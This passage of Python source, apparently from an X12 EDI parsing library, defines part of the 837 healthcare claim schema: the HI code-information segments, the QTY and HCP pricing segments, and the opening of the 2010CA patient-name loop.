) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BG'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Treatment Code Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'TC'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=2, codes=[] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'QTY', Properties(syntax='',req_sit=u'S',repeat=u'4',pos=u'240',desc=u'Claim Quantity'), Element( u'QTY01', Properties(desc=u'Quantity Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'CA', u'CD', u'LA', u'NA'] ) ), Element( u'QTY02', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=2, codes=[] ) ), Composite( u'C001', Properties(req_sit=u'R',refdes='',seq=u'03',desc=u'Composite Unit of Measure'), Element( u'QTY03-01', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'DA'] ) ), Element( u'QTY03-02', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=1, codes=[] ) ), Element( u'QTY03-03', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=2, codes=[] ) ), Element( u'QTY03-04', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=3, codes=[] ) ), Element( u'QTY03-05', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=4, codes=[] ) ), Element( u'QTY03-06', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=5, codes=[] ) ), Element( u'QTY03-07', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[] ) ), Element( u'QTY03-08', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=7, codes=[] ) ), Element( u'QTY03-09', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=8, codes=[] ) ), Element( u'QTY03-10', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=9, codes=[] ) ), Element( u'QTY03-11', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=10, codes=[] ) ), Element( u'QTY03-12', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=11, codes=[] ) ), Element( u'QTY03-13', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[] ) ), Element( u'QTY03-14', Properties(desc=u'Exponent', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'QTY03-15', Properties(desc=u'Multiplier', req_sit=u'N', data_type=(u'R',u'1',u'10'), position=14, codes=[] ) ), ), Element( u'QTY04', Properties(desc=u'Free-form Information', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=4, codes=[] ) ), ), Segment( u'HCP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'241',desc=u'Claim Pricing/Repricing Information'), Element( u'HCP01', Properties(desc=u'Pricing Methodology', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'00', u'01', u'02', u'03', u'04', u'05', u'06', u'07', u'08', u'09', u'10', u'11', u'12', u'13', u'14'] ) ), Element( u'HCP02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'HCP03', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'HCP04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'HCP05', Properties(desc=u'Rate', req_sit=u'S', data_type=(u'R',u'1',u'9'), position=5, codes=[] ) ), Element( u'HCP06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[] ) ), Element( u'HCP07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'HCP08', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=8, codes=[] ) ), Element( u'HCP09', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=9, codes=[u'HC'] ) ), Element( u'HCP10', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=10, codes=[] ) ), Element( u'HCP11', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=11, codes=[u'DA', u'UN'] ) ), Element( u'HCP12', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=12, codes=[] ) ), Element( u'HCP13', Properties(desc=u'Reject Reason Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=13, codes=[u'T1', u'T2', u'T3', u'T4', u'T5', u'T6'] ) ), Element( u'HCP14', Properties(desc=u'Policy Compliance Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=14, codes=[u'1', u'2', u'3', u'4', u'5'] ) ), Element( u'HCP15', Properties(desc=u'Exception Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=15, codes=[u'1', u'2', u'3', u'4', u'5', u'6'] ) ), ), parsed_837_2305, parsed_837_2310A, parsed_837_2310B, parsed_837_2310C, parsed_837_2310E, parsed_837_2320, parsed_837_2400, ) parsed_837_2010CA = Loop( u'2010CA', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'R',desc=u'Patient Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Patient Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'QC'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'MI', u'ZZ'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', 